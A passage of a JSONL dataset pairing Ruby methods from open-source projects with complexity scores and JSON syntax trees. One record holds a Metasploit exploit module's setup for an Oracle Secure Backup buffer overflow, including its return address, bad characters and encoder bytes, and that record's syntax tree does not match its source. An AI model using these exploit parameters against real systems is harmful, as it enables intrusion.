\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pong\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"clientside_calculated\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA512\"]},\"new\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"shared_key_salt\"]}]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pong\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nonce\"]}]}]},\"update\",{\"type\":\"lvar\",\"children\":[\"shared_key\"]}]},\"hexdigest\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clientside_calculated\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pong\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Shared key digest mismatch\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"6c9218a8-c8e3-452b-98ee-cbfd54a66c6e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20220613110802_remove_whole_word_from_custom_filters.rb","start_line":12,"raw_source":"def down\n    safety_assured do\n      add_column :custom_filters, :whole_word, :boolean, default: true, null: false\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"custom_filters\"]},{\"type\":\"sym\",\"children\":[\"whole_word\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"fba10efc-1649-4888-8432-0ddd8fa449af"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/incoming_emails/handlers/work_package.rb","start_line":152,"raw_source":"def wp_attributes_from_keywords(work_package)\n      {\n        \"assigned_to_id\" => wp_assignee_from_keywords(work_package),\n        \"category_id\" => wp_category_from_keywords(work_package),\n        \"due_date\" => wp_due_date_from_keywords,\n        \"estimated_hours\" => wp_estimated_hours_from_keywords,\n        \"parent_id\" => wp_parent_from_keywords,\n        \"priority_id\" => wp_priority_from_keywords,\n        \"remaining_hours\" => wp_remaining_hours_from_keywords,\n        \"responsible_id\" => wp_accountable_from_keywords(work_package),\n        \"start_date\" => wp_start_date_from_keywords,\n        \"status_id\" => wp_status_from_keywords,\n        \"type_id\" => wp_type_from_keywords(work_package),\n        \"version_id\" => wp_version_from_keywords(work_package)\n      }.compact_blank!\n    end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"wp_attributes_from_keywords\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"assigned_to_id\"]},{\"type\":\"send\",\"children\":[null,\"wp_assignee_from_keywords\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"category_id\"]},{\"type\":\"send\",\"children\":[null,\"wp_category_from_keywords\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"due_date\"]},{\"type\":\"send\",\"children\":[null,\"wp_due_date_from_keywords\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"estimated_hours\"]},{\"type\":\"send\",\"children\":[null,\"wp_estimated_hours_from_keywords\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"parent_id\"]},{\"type\":\"send\",\"children\":[null,\"wp_parent_from_keywords\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"priority_id\"]},{\"type\":\"send\",\"children\":[null,\"wp_priority_from_keywords\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"remaining_hours\"]},{\"type\":\"send\",\"children\":[null,\"wp_remaining_hours_from_keywords\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"responsible_id\"]},{\"type\":\"send\",\"children\":[null,\"wp_accountable_from_keywords\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"start_date\"]},{\"type\":\"send\",\"children\":[null,\"wp_start_date_from_keywords\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status_id\"]},{\"type\":\"send\",\"children\":[null,\"wp_status_from_keywords\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type_id\"]},{\"type\":\"send\",\"children\":[null,\"wp_type_from_keywords\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version_id\"]},{\"type\":\"send\",\"children\":[null,\"wp_version_from_keywords\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]},\"compact_blank!\"]}]}","id":"f4f11f4a-f431-406b-8163-4eba22c67f42"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/agent_bot_inbox.rb","start_line":26,"raw_source":"def ensure_account_id\n    self.account_id = inbox&.account_id\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_account_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"account_id=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"account_id\"]}]}]}","id":"fad2d7a1-1973-4760-a788-a5c7de2135a5"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/delete_keychain.rb","start_line":6,"raw_source":"def self.run(params)\n        original = Actions.lane_context[Actions::SharedValues::ORIGINAL_DEFAULT_KEYCHAIN]\n\n        if params[:keychain_path]\n          if File.exist?(params[:keychain_path])\n            keychain_path = params[:keychain_path]\n          else\n            UI.user_error!(\"Unable to find the specified keychain.\")\n          end\n        elsif params[:name]\n          keychain_path = FastlaneCore::Helper.keychain_path(params[:name])\n        else\n          UI.user_error!(\"You either have to set :name or :keychain_path\")\n        end\n\n        Fastlane::Actions.sh(\"security default-keychain -s #{original}\", log: false) unless original.nil?\n        Fastlane::Actions.sh(\"security delete-keychain #{keychain_path.shellescape}\", log: false)\n      end","complexity_score":24.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"SharedValues\"]},\"ORIGINAL_DEFAULT_KEYCHAIN\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keychain_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keychain_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"keychain_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keychain_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Unable to find the specified keychain.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"keychain_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"keychain_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"You either have to set :name or :keychain_path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"sh\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"security default-keychain -s \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"sh\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"security delete-keychain \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keychain_path\"]},\"shellescape\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"56c666c0-b9d8-47a5-94df-f13edc93ffc7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/oracle/osb_ndmp_auth.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',\n        'Description' => %q{\n          The module exploits a stack buffer overflow in Oracle Secure Backup.\n          When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,\n          an attacker may be able to execute arbitrary code.\n        },\n        'Author' => [ 'MC' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2008-5444' ],\n          [ 'OSVDB', '51340' ],\n          [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],\n        ],\n        'Platform' => 'win',\n        'Privileged' => true,\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\",\n          'StackAdjustment' => -3500,\n          'PrependEncoder' => \"\\x81\\xc4\\x54\\xf2\\xff\\xff\",\n        },\n        'Targets' => [\n          [ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)', { 'Ret' => 0x608f5a28 } ], # oracore10.dll\n        ],\n        'DisclosureDate' => '2009-01-14',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([Opt::RPORT(10000)])\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[10000]}]}]}]}]}","id":"80d13471-e92a-405f-9a88-e010f9fe6205"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/helpers/captain/chat_helper.rb","start_line":35,"raw_source":"def process_tool_calls(tool_calls)\n    append_tool_calls(tool_calls)\n    tool_calls.each do |tool_call|\n      process_tool_call(tool_call)\n    end\n    request_chat_completion\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_tool_calls\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool_calls\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"append_tool_calls\",{\"type\":\"lvar\",\"children\":[\"tool_calls\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_calls\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool_call\"]}]},{\"type\":\"send\",\"children\":[null,\"process_tool_call\",{\"type\":\"lvar\",\"children\":[\"tool_call\"]}]}]},{\"type\":\"send\",\"children\":[null,\"request_chat_completion\"]}]}]}","id":"10913e27-2c12-4877-9a61-04540f6b02ff"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":1408,"raw_source":"def test_insert_records_via_has_many_through_association_with_scope_and_association_name_different_from_the_joining_table_name\n    club = Club.create!\n    member = Member.create!\n    Membership.create!(club: club, member: member)\n\n    club.custom_favorites << member\n    assert_equal [member], club.custom_favorites\n\n    club.reload\n    assert_equal [member], club.custom_favorites\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_insert_records_via_has_many_through_association_with_scope_and_association_name_different_from_the_joining_table_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"club\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Club\"]},\"create!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"member\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Membership\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"club\"]},{\"type\":\"lvar\",\"children\":[\"club\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"member\"]},{\"type\":\"lvar\",\"children\":[\"member\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"club\"]},\"custom_favorites\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"club\"]},\"custom_favorites\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"club\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"club\"]},\"custom_favorites\"]}]}]}]}","id":"85a0f26f-104f-4997-995c-30146217f615"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/extensions/view/slice_configured_context.rb","start_line":60,"raw_source":"def resolve_assets\n          slice[\"assets\"] if slice.key?(\"assets\")\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_assets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slice\"]},\"key?\",{\"type\":\"str\",\"children\":[\"assets\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slice\"]},\"[]\",{\"type\":\"str\",\"children\":[\"assets\"]}]},null]}]}","id":"4deaec42-4d5e-40c1-b6db-e3f7271af65b"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/table_configuration/highlighting.rb","start_line":38,"raw_source":"def switch_highlighting_mode(label)\n        modal_open? or open_modal\n        choose label\n\n        apply\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"switch_highlighting_mode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modal_open?\"]},{\"type\":\"send\",\"children\":[null,\"open_modal\"]}]},{\"type\":\"send\",\"children\":[null,\"choose\",{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"send\",\"children\":[null,\"apply\"]}]}]}","id":"4c47970c-ce43-4ef3-b217-ddd6e9828e81"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/update_keychain_access_groups.rb","start_line":10,"raw_source":"def self.run(params)\n        UI.message(\"Entitlements File: #{params[:entitlements_file]}\")\n        UI.message(\"New keychain access groups: #{params[:identifiers]}\")\n\n        entitlements_file = params[:entitlements_file]\n        UI.user_error!(\"Could not find entitlements file at path '#{entitlements_file}'\") unless File.exist?(entitlements_file)\n\n        # parse entitlements\n        result = Plist.parse_xml(entitlements_file)\n        UI.user_error!(\"Entitlements file at '#{entitlements_file}' cannot be parsed.\") unless result\n\n        # keychain access groups key\n        keychain_access_groups_key = 'keychain-access-groups'\n\n        # get keychain access groups\n        keychain_access_groups_field = result[keychain_access_groups_key]\n        UI.user_error!(\"No existing keychain access groups field specified. Please specify an keychain access groups in the entitlements file.\") unless keychain_access_groups_field\n\n        # set new keychain access groups\n        UI.message(\"Old keychain access groups: #{keychain_access_groups_field}\")\n        result[keychain_access_groups_key] = params[:identifiers]\n\n        # save entitlements file\n        result.save_plist(entitlements_file)\n        UI.message(\"New keychain access groups: #{result[keychain_access_groups_key]}\")\n\n        Actions.lane_context[SharedValues::KEYCHAIN_ACCESS_GROUPS] = result[keychain_access_groups_key]\n      end","complexity_score":27.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Entitlements File: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entitlements_file\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"New keychain access groups: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"identifiers\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entitlements_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entitlements_file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"entitlements_file\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find entitlements file at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entitlements_file\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Plist\"]},\"parse_xml\",{\"type\":\"lvar\",\"children\":[\"entitlements_file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Entitlements file at '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entitlements_file\"]}]},{\"type\":\"str\",\"children\":[\"' cannot be parsed.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"keychain_access_groups_key\",{\"type\":\"str\",\"children\":[\"keychain-access-groups\"]}]},{\"type\":\"lvasgn\",\"children\":[\"keychain_access_groups_field\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"keychain_access_groups_key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keychain_access_groups_field\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"No existing keychain access groups field specified. Please specify an keychain access groups in the entitlements file.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Old keychain access groups: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keychain_access_groups_field\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"keychain_access_groups_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"identifiers\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"save_plist\",{\"type\":\"lvar\",\"children\":[\"entitlements_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"New keychain access groups: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"keychain_access_groups_key\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"KEYCHAIN_ACCESS_GROUPS\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"keychain_access_groups_key\"]}]}]}]}]}","id":"2a3147c7-8e83-4ba5-b85a-5b21516f8c9a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/dropdown.rb","start_line":30,"raw_source":"def all_items\n          find_all(\"li.gl-new-dropdown-item\").map(&:text)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"all_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_all\",{\"type\":\"str\",\"children\":[\"li.gl-new-dropdown-item\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]}","id":"ecfd08c4-6ef5-43e6-b399-c1560810e73d"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/podcasts_controller.rb","start_line":48,"raw_source":"def podcast_params\n    params.require(:podcast).permit(PODCASTS_ALLOWED_PARAMS)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"podcast_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"podcast\"]}]},\"permit\",{\"type\":\"const\",\"children\":[null,\"PODCASTS_ALLOWED_PARAMS\"]}]}]}","id":"07e094f0-5d4b-44da-be4c-01e51a5d1134"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/models/cost_query/operator.rb","start_line":86,"raw_source":"def modify(query, field, *values)\n      wp_ids = []\n      values.each do |value|\n        work_package = WorkPackage.visible.find(value)\n        next unless work_package\n\n        wp_ids << work_package.id\n        wp_ids += work_package.descendants.pluck(:id)\n      end\n\n      \"=\".to_operator.modify query, field, wp_ids\n    rescue ActiveRecord::RecordNotFound\n      query\n    end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"modify\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"restarg\",\"children\":[\"values\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wp_ids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"work_package\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"visible\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp_ids\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"id\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wp_ids\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"descendants\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"=\"]},\"to_operator\"]},\"modify\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"lvar\",\"children\":[\"wp_ids\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"lvar\",\"children\":[\"query\"]}]},null]}]}","id":"a2dd6f5b-4518-4cb5-a294-64dcfd59dcb4"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_api_key.rb","start_line":28,"raw_source":"def key\n    unless key_available?\n      raise ApiKey::KeyAccessError.new \"API key is only accessible immediately after creation\"\n    end\n    @key\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_available?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApiKey\"]},\"KeyAccessError\"]},\"new\",{\"type\":\"str\",\"children\":[\"API key is only accessible immediately after creation\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@key\"]}]}]}","id":"5a0fa419-8c93-445e-8692-fd704156e84b"}
